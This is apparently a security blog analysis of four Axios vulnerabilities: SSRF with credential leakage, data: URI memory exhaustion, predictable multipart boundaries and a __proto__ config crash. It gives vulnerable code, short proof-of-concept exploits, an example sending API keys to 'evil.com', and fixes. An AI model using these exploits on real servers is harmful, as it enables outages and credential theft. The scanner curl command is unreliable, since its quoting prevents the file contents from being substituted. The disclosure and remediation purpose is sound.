Axios Supply Chain Vulnerabilities: SSRF, DoS & Credential Leakage — A Complete Security Analysis
Introduction: Why Axios Vulnerabilities Matter to Every Developer
Axios is the most popular HTTP client library in the JavaScript ecosystem. With over 200,000 dependent repositories on GitHub and 45+ million weekly downloads on npm, an Axios vulnerability is not an isolated incident — it is a supply chain event that ripples across the entire web development ecosystem.
Between March 2025 and February 2026, four distinct security advisories were published against Axios, ranging from SSRF and credential leakage to denial-of-service attacks, exposing critical gaps in URL handling, configuration merging, content decoding, and transitive dependency management.
This article provides a technical deep-dive into each vulnerability, explains the root cause at the code level, demonstrates proof-of-concept exploits, and delivers actionable remediation guidance for developers and security teams.
Key Takeaway: If your application uses Axios on the server side and processes any form of user-controlled input (URLs, configuration, file uploads), you are likely affected by one or more of these vulnerabilities.
Timeline of Axios Security Advisories (2025–2026)
| Date | CVE | Advisory | Severity | CVSS | Summary |
|---|---|---|---|---|---|
| Mar 7, 2025 | CVE-2025-27152 | GHSA-jr5f-v2jv-69x6 | Moderate | — | SSRF & credential leakage via absolute URL |
| Jul 23, 2025 | CVE-2025-54371 | GHSA-rm8p-cx58-hcvx | High (7.5) | AV:N/AC:L/PR:N/UI:N | Predictable multipart boundary via form-data@4.0.0 |
| Sep 12, 2025 | CVE-2025-58754 | GHSA-4hjh-wcwx-xvwj | High (7.5) | AV:N/AC:L/PR:N/UI:N | DoS via unbounded data: URI decode |
| Feb 8, 2026 | CVE-2026-25639 | GHSA-43fc-jf86-j433 | High (7.5) | AV:N/AC:L/PR:N/UI:N | DoS via proto key in mergeConfig |
Sources: GitHub Security Advisories (GHSA), National Vulnerability Database (NVD)
Vulnerability #1: SSRF & Credential Leakage via Absolute URL (CVE-2025-27152)
Overview
| Field | Detail |
|---|---|
| CVE | CVE-2025-27152 |
| Advisory | GHSA-jr5f-v2jv-69x6 |
| Published | March 7, 2025 |
| Severity | Moderate |
| Affected | Axios <= 1.7.9, <= 0.29.0 |
| Patched | Axios 1.8.2, 0.30.0 |
| Reporter | @lambdasawa |
| CWE | CWE-918 (Server-Side Request Forgery) |
The Problem
When Axios is configured with a baseURL, developers naturally expect all requests to be scoped to that base domain. However, if a user-controlled value passed to axios.get() or similar methods is an absolute URL (e.g., http://attacker.test/), Axios silently ignores the baseURL and sends the request to the attacker-controlled domain instead.
This creates two critical attack vectors:
- Server-Side Request Forgery (SSRF): The attacker can force the server to make requests to internal services (e.g., AWS metadata at 169.254.169.254, internal APIs, databases).
- Credential Leakage: Any headers configured on the Axios instance — including API keys, bearer tokens, and authentication credentials — are sent to the attacker's server.
Root Cause Analysis
The vulnerability lies in how Axios combines baseURL with the request path. When the path is an absolute URL, Axios's URL resolution logic treats it as the final URL, completely bypassing the baseURL.
Vulnerable Code Pattern
// VULNERABLE: User input passed directly as URL path
import axios from "axios";
const internalAPI = axios.create({
baseURL: "http://internal-api.company.com/api/v1/users/",
headers: {
"X-API-KEY": "sk_live_super_secret_key_12345",
"Authorization": "Bearer eyJhbGciOiJIUzI1NiIs..."
},
});
// Developer expects: http://internal-api.company.com/api/v1/users/{userId}
// But if userId = "http://attacker.test/"...
async function getUser(userId: string) {
const response = await internalAPI.get(userId);
return response.data;
}
// Attacker sends: userId = "http://evil.com/"
// Axios sends GET http://evil.com/ with X-API-KEY and Authorization headers!
Proof of Concept
# Set up two servers to demonstrate the bypass
mkdir /tmp/server1 /tmp/server2
echo "this is the internal API" > /tmp/server1/index.html
echo "this is the attacker server" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
// poc.mjs
import axios from "axios";
const client = axios.create({
baseURL: "http://localhost:10001/",
headers: { "X-API-KEY": "secret-key-leaked" }
});
// Expected: GET http://localhost:10001/http://localhost:10002/
// Actual: GET http://localhost:10002/ (with X-API-KEY header!)
const response = await client.get("http://localhost:10002/");
console.log(response.data); // "this is the attacker server"
Secure Code Fix
// SECURE: Validate that user input is a relative path, not an absolute URL
import axios from "axios";
const internalAPI = axios.create({
baseURL: "http://internal-api.company.com/api/v1/users/",
headers: { "X-API-KEY": "sk_live_key" },
});
function isAbsoluteURL(url: string): boolean {
return /^https?:\/\//i.test(url) || url.startsWith("//");
}
async function getUser(userId: string) {
// Block absolute URLs to prevent SSRF
if (isAbsoluteURL(userId)) {
throw new Error("Invalid user ID: absolute URLs are not allowed");
}
// Sanitize: strip path traversal, encode the value
const sanitizedId = encodeURIComponent(userId);
const response = await internalAPI.get(sanitizedId);
return response.data;
}
Who Is Affected?
Any application that:
- Uses baseURL with an Axios instance
- Passes user-controlled values as the URL/path parameter in .get(), .post(), etc.
- Runs on the server (Node.js) — client-side CORS partially mitigates this
Vulnerability #2: DoS via Unbounded data: URI Decode (CVE-2025-58754)
Overview
| Field | Detail |
|---|---|
| CVE | CVE-2025-58754 |
| Advisory | GHSA-4hjh-wcwx-xvwj |
| Published | September 12, 2025 |
| Severity | High (CVSS 7.5) |
| Affected | Axios < 1.11.0, < 0.29.0 |
| Patched | Axios 1.12.0, 0.30.0 |
| Reporter | @AmeerAssadi |
| CWE | CWE-770 (Allocation of Resources Without Limits) |
The Problem
When Axios receives a URL with the data: scheme on Node.js, it does not perform an HTTP request. Instead, the Node adapter decodes the entire Base64 payload into memory in a single Buffer.from() call and returns a synthetic 200 response.
The critical issue: this code path completely ignores maxContentLength and maxBodyLength limits (which only protect HTTP responses). An attacker can supply a massive data: URI and crash the Node.js process with an out-of-memory error — even if the developer explicitly set content size limits.
Root Cause: The Unprotected data: Code Path
The Axios Node HTTP adapter (lib/adapters/http.js) has a special branch for the data: protocol:
// Inside the Axios HTTP adapter
const protocol = parsed.protocol || supportedProtocols[0];
if (protocol === 'data:') {
let convertedData;
if (method !== 'GET') {
return settle(resolve, reject, { status: 405 });
}
// WARNING: Decodes ENTIRE payload into memory — no size check!
convertedData = fromDataURI(config.url, responseType === 'blob', {
Blob: config.env && config.env.Blob
});
return settle(resolve, reject, { data: convertedData, status: 200 });
}
The fromDataURI() helper in lib/helpers/fromDataURI.js then decodes everything in one shot:
// No size validation whatsoever — unbounded memory allocation
const buffer = Buffer.from(
decodeURIComponent(body),
isBase64 ? 'base64' : 'utf8'
);
For normal HTTP responses, Axios tracks totalResponseBytes and rejects when it exceeds maxContentLength. No such protection exists for data: URIs.
Proof of Concept
// poc-dos.js — Crashes Node.js with OOM
const axios = require("axios");
async function main() {
// Crafts a ~120 MB data: URI
const base64Size = 160_000_000;
const base64 = "A".repeat(base64Size);
const uri = "data:application/octet-stream;base64," + base64;
console.log("Sending data: URI with", base64.length, "bytes...");
// maxContentLength is set but IGNORED for data: URIs!
const response = await axios.get(uri, {
responseType: "arraybuffer",
maxContentLength: 8 * 1024, // 8KB limit — completely bypassed
maxBodyLength: 8 * 1024,
});
console.log("Received:", response.data.length, "bytes");
}
main().catch(console.error);
# Run with limited heap to force a crash:
node --max-old-space-size=100 poc-dos.js
# Output:
# FATAL ERROR: Reached heap limit Allocation failed
# - JavaScript heap out of memory
Real-World Scenario: Link Preview Service DoS
A common pattern in modern web apps is a link preview service that fetches URLs submitted by users. If the service allows data: URLs and uses Axios:
// VULNERABLE: Link preview service
app.post("/preview", async (req, res) => {
const url = req.body?.url;
const allowed = new Set(["http:", "https:", "data:"]);
const u = new URL(url);
if (!allowed.has(u.protocol)) return res.status(400).json({ error: "bad" });
// Axios ignores maxContentLength for data: URIs — DoS!
const r = await axios.get(url, {
responseType: "stream",
maxContentLength: 8 * 1024,
});
});
// SECURE: Block data: URIs — only allow HTTP(S)
app.post("/preview", async (req, res) => {
const url = req.body?.url;
const u = new URL(url);
// Only allow HTTP(S) — block data:, file:, ftp:, etc.
if (!["http:", "https:"].includes(u.protocol)) {
return res.status(400).json({ error: "Only HTTP/HTTPS URLs allowed" });
}
const r = await axios.get(url, {
responseType: "stream",
maxContentLength: 1024 * 1024, // 1MB
});
});
Vulnerability #3: Predictable Multipart Boundaries via form-data (CVE-2025-54371)
Overview
| Field | Detail |
|---|---|
| CVE | CVE-2025-54371 (also tracked as CVE-2025-7783) |
| Advisory | GHSA-rm8p-cx58-hcvx |
| Published | July 23, 2025 |
| Severity | High (CVSS 7.5) |
| Affected | Axios 1.10.0 (via form-data@4.0.0) |
| Patched | Axios 1.11.0 |
| Reporter | @izzygld |
| Related | Snyk Advisory SNYK-JS-FORMDATA-10841150 |
The Problem
This is a transitive supply chain vulnerability. The form-data package version 4.0.0 (a dependency of Axios 1.10.0) uses Math.random() to generate multipart boundary strings. Since Math.random() is a non-cryptographic PRNG (pseudo-random number generator), the boundary values are predictable.
An attacker who can observe or predict the boundary can:
- Inject additional form fields into multipart requests (HTTP Parameter Pollution)
- Manipulate file upload boundaries to alter parsed content
- Exploit backend deserialization logic that relies on boundary delimiters
Why Math.random() Is Not Enough
// VULNERABLE: form-data@4.0.0 — Predictable boundary generation
FormData.prototype._generateBoundary = function() {
var boundary = '--------------------------';
for (var i = 0; i < 24; i++) {
boundary += Math.floor(Math.random() * 10).toString(16);
}
this._boundary = boundary;
};
Math.random() in V8 uses the xorshift128+ algorithm, which is deterministic given the internal state. Research has shown that with just a few observed outputs, an attacker can reconstruct the PRNG state and predict all future values.
// SECURE: form-data@4.0.4+ — Cryptographically secure boundary
const crypto = require('crypto');
FormData.prototype._generateBoundary = function() {
this._boundary = '--------------------------'
+ crypto.randomBytes(12).toString('hex');
};
Impact Assessment
| Scenario | Risk |
|---|---|
| File upload APIs | Attacker injects additional files or overrides existing ones |
| Multipart form submissions | Hidden fields injected into parsed form data |
| APIs with content-type based routing | Boundary manipulation causes misrouting |
| WAF/IDS bypass | Crafted boundaries evade multipart inspection rules |
Remediation
# Check if you're affected
npm ls form-data
# Update Axios to 1.11.0+ (which uses patched form-data)
npm install axios@latest
# Or pin form-data directly
npm install form-data@4.0.4
Vulnerability #4: DoS via proto Key in mergeConfig (CVE-2026-25639)
Overview
| Field | Detail |
|---|---|
| CVE | CVE-2026-25639 |
| Advisory | GHSA-43fc-jf86-j433 |
| Published | February 8, 2026 |
| Severity | High (CVSS 7.5) |
| Affected | Axios <= 1.13.4, <= 0.30.2 |
| Patched | Axios 1.13.5, 0.30.3 |
| Reporter | @hackerman70000 |
| CWE | CWE-754, CWE-1321 |
The Problem
The mergeConfig function in Axios crashes with an unhandled TypeError when it encounters a configuration object that contains proto as an own property. This is not prototype pollution — the application crashes before any assignment occurs — making it a pure denial-of-service vulnerability.
Root Cause: Unsafe Property Lookup in mergeMap
The vulnerability is in lib/core/mergeConfig.js:
// lib/core/mergeConfig.js — lines 98-101
utils.forEach(
Object.keys({ ...config1, ...config2 }),
function computeConfigValue(prop) {
const merge = mergeMap[prop] || mergeDeepProperties;
// ^^^^^^^^^^^^^^^^
// When prop = "__proto__":
// 1. mergeMap["__proto__"] -> Object.prototype (truthy!)
// 2. Object.prototype || mergeDeepProperties -> Object.prototype
// 3. Object.prototype(...) -> TypeError: merge is not a function!
const configValue = merge(config1[prop], config2[prop], prop);
(utils.isUndefined(configValue) && merge !== mergeDirectKeys)
|| (config[prop] = configValue);
}
);
The issue unfolds in four steps:
- JSON.parse('{"proto": {"x": 1}}') creates an object with proto as an own enumerable property
- Object.keys() includes "proto" in the iteration
- mergeMap["proto"] performs a prototype chain lookup, hitting Object.prototype — which is truthy
- Axios tries to call Object.prototype(...) as a function, throwing TypeError: merge is not a function
Proof of Concept
// poc-proto-dos.mjs
import axios from "axios";
// Simulates user-controlled JSON parsed and passed to Axios
const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}');
// This crashes immediately with:
// TypeError: merge is not a function
// at computeConfigValue (lib/core/mergeConfig.js:100:25)
await axios.get("https://httpbin.org/get", maliciousConfig);
Attack Scenario
Any API endpoint that accepts user configuration and passes it to Axios is vulnerable:
// VULNERABLE: Express API that proxies with user-supplied config
app.post("/proxy", async (req, res) => {
const { url, config } = req.body;
// If config = JSON.parse('{"__proto__": {"x": 1}}')
// This crashes the entire Node.js process!
const response = await axios.get(url, config);
res.json(response.data);
});
// SECURE: Allowlist config keys before passing to Axios
app.post("/proxy", async (req, res) => {
const { url, config } = req.body;
const safeConfig: Record<string, unknown> = {};
const allowedKeys = ["timeout", "headers", "params", "responseType"];
const dangerousKeys = new Set(["__proto__", "constructor", "prototype"]);
for (const key of allowedKeys) {
if (config && key in config && !dangerousKeys.has(key)) {
safeConfig[key] = config[key];
}
}
const response = await axios.get(url, safeConfig);
res.json(response.data);
});
Comprehensive Remediation Checklist
Step 1: Identify Your Axios Version
# Check the installed version
npm ls axios
# Check all projects on your system
find ~/projects -name "package.json" -not -path "*/node_modules/*" \
-exec grep -l "axios" {} \;
Step 2: Update to the Latest Patched Version
# Update Axios to latest (must be >= 1.13.5 to cover ALL four CVEs)
npm install axios@latest
# Verify the update
npm ls axios
Step 3: Audit Transitive Dependencies
# Check for known vulnerabilities
npm audit
# Specifically check form-data
npm ls form-data
# Ensure form-data >= 4.0.4
Step 4: Apply Defense-in-Depth Code Fixes
Even after updating Axios, these defensive coding practices protect against future vulnerabilities:
// defense-in-depth.ts — Recommended Axios wrapper
import axios, { AxiosInstance, AxiosRequestConfig } from "axios";
/**
* Create a hardened Axios instance with built-in protections.
*/
export function createSecureClient(
baseURL: string,
config?: AxiosRequestConfig
): AxiosInstance {
const client = axios.create({
baseURL,
timeout: 10000,
maxContentLength: 10 * 1024 * 1024, // 10MB
maxBodyLength: 10 * 1024 * 1024,
maxRedirects: 5,
...config,
});
// Interceptor: Block non-HTTP(S) protocols
client.interceptors.request.use((reqConfig) => {
const url = reqConfig.url || "";
const fullURL = reqConfig.baseURL
? new URL(url, reqConfig.baseURL).toString()
: url;
if (fullURL && !/^https?:\/\//i.test(fullURL)) {
throw new Error("Blocked non-HTTP protocol: " + fullURL);
}
// Block SSRF: Ensure resolved URL starts with baseURL
if (reqConfig.baseURL && !fullURL.startsWith(reqConfig.baseURL)) {
throw new Error("URL does not match baseURL — possible SSRF");
}
return reqConfig;
});
return client;
}
/**
* Sanitize user-provided config to prevent __proto__ DoS.
*/
export function sanitizeAxiosConfig(
userConfig: Record<string, unknown>
): Record<string, unknown> {
const ALLOWED_KEYS = new Set([
"timeout", "headers", "params", "responseType",
"maxContentLength", "maxBodyLength",
]);
const DANGEROUS_KEYS = new Set([
"__proto__", "constructor", "prototype",
]);
const safe: Record<string, unknown> = {};
for (const key of Object.keys(userConfig)) {
if (DANGEROUS_KEYS.has(key)) continue;
if (ALLOWED_KEYS.has(key)) {
safe[key] = userConfig[key];
}
}
return safe;
}
Impact on the JavaScript Ecosystem
Scale of Exposure
Axios's position in the npm dependency graph means these vulnerabilities have cascading impact:
| Metric | Value |
|---|---|
| Weekly npm downloads | 45+ million |
| GitHub dependents | 200,000+ repositories |
| Direct dependents on npm | 120,000+ packages |
| Average depth in dependency tree | 2–4 levels |
Many popular frameworks and tools bundle Axios as a transitive dependency: AWS SDK middleware, Stripe Node.js SDK, many GraphQL clients, headless CMS connectors, testing frameworks, and more.
Supply Chain Lessons
These four vulnerabilities collectively illustrate the three pillars of supply chain risk:
- Direct vulnerabilities (CVE-2025-27152, CVE-2025-58754, CVE-2026-25639) — bugs in Axios's own code
- Transitive vulnerabilities (CVE-2025-54371) — a bug in form-data inherited by Axios
- Architectural assumptions — developers trust that baseURL scoping and maxContentLength limits always work
Detection: How to Find These Vulnerabilities
Using ShieldX Dependency Scanner
SecureCodeReviews' ShieldX scanner can automatically detect vulnerable Axios versions in your package.json:
# Scan your dependencies against the OSV.dev database
curl -s -X POST https://securecodereviews.com/api/shieldx/scan-deps \
-H "Content-Type: application/json" \
-d '{"input": "$(cat package.json)"}' | jq .
Manual Audit Queries
# Check for vulnerable patterns in your code
# 1. Find user input passed to axios URL parameter
grep -rn "axios\.get(.*req\." src/
grep -rn "axios\.post(.*req\." src/
# 2. Find data: URI handling
grep -rn "data:" src/ | grep -i "axios"
# 3. Find JSON.parse passed to Axios config
grep -rn "JSON.parse" src/ | grep -i "axios"
# 4. Check Axios version
npm ls axios
Recommendations for Security Teams
Immediate Actions
- Patch now: Update Axios to >= 1.13.5 across all projects
- Audit form-data: Ensure form-data >= 4.0.4 in your dependency tree
- Run npm audit: Flag and fix all known vulnerabilities
- Search for vulnerable patterns: Grep for axios.get(userInput) patterns
Long-Term Strategy
- Pin dependency versions: Use exact versions in package.json and always review lockfile diffs
- Automate SCA: Integrate Software Composition Analysis (Snyk, Dependabot, ShieldX) into CI/CD
- Input validation at boundaries: Never pass raw user input to HTTP client methods
- Protocol allowlisting: Explicitly block non-HTTP schemes on server-side HTTP clients
- Configuration sanitization: Allowlist Axios config keys when accepting user-provided settings
- Monitor advisories: Subscribe to GitHub Security Advisories for your dependencies
Conclusion
The Axios vulnerability wave of 2025–2026 is a textbook demonstration of why supply chain security matters. A single library — trusted by millions — had four distinct vulnerabilities disclosed in under a year, each exploiting a different aspect of HTTP client behavior that developers take for granted.
The most dangerous assumption is that well-configured libraries cannot be abused. As CVE-2025-58754 proved, setting maxContentLength gives a false sense of security when the code path that matters does not respect it. As CVE-2025-27152 showed, baseURL does not provide the scoping guarantee that developers expect.
Patch, audit, and defend in depth. No single control is sufficient.
References
- GHSA-jr5f-v2jv-69x6 — SSRF & Credential Leakage via Absolute URL. GitHub Advisory, March 2025. https://github.com/axios/axios/security/advisories/GHSA-jr5f-v2jv-69x6
- GHSA-4hjh-wcwx-xvwj — DoS via data: URL Decode (CVE-2025-58754). GitHub Advisory, September 2025. https://github.com/axios/axios/security/advisories/GHSA-4hjh-wcwx-xvwj
- GHSA-rm8p-cx58-hcvx — Predictable Boundary Values via form-data (CVE-2025-54371). GitHub Advisory, July 2025. https://github.com/axios/axios/security/advisories/GHSA-rm8p-cx58-hcvx
- GHSA-43fc-jf86-j433 — DoS via proto Key in mergeConfig (CVE-2026-25639). GitHub Advisory, February 2026. https://github.com/axios/axios/security/advisories/GHSA-43fc-jf86-j433
- CVE-2025-27152 — National Vulnerability Database. https://nvd.nist.gov/vuln/detail/CVE-2025-27152
- SNYK-JS-FORMDATA-10841150 — Snyk Vulnerability Database. https://security.snyk.io/vuln/SNYK-JS-FORMDATA-10841150
- OSV.dev — Open Source Vulnerability Database (Google). https://osv.dev/list?q=axios&ecosystem=npm
- Axios GitHub Repository — https://github.com/axios/axios
- CWE-918: Server-Side Request Forgery (SSRF) — MITRE. https://cwe.mitre.org/data/definitions/918.html
- CWE-770: Allocation of Resources Without Limits — MITRE. https://cwe.mitre.org/data/definitions/770.html
Advertisement
Free Security Tools
Try our tools now
Expert Services
Get professional help
OWASP Top 10
Learn the top risks
Related Articles
OWASP API Security Top 10 (2023): Every Vulnerability Explained With Real Attacks
The OWASP API Security Top 10 is the definitive framework for API vulnerabilities. This guide explains all 10 risks with real-world attack scenarios, vulnerable code examples, and production-ready fixes for Node.js, Python, and Java.
Building a Vulnerability Management Program: CVE Tracking, Prioritization & Patching
26,447 new CVEs were published in 2024. You can't patch everything. This guide covers building an effective vulnerability management program with risk-based prioritization, SLA frameworks, and automated patching strategies.
How We Found IDOR Bugs in a Fintech Startup — A Real Code Review Story
A redacted case study of how our code review uncovered critical Insecure Direct Object Reference vulnerabilities in a fintech API that could have exposed financial data of 50,000+ users.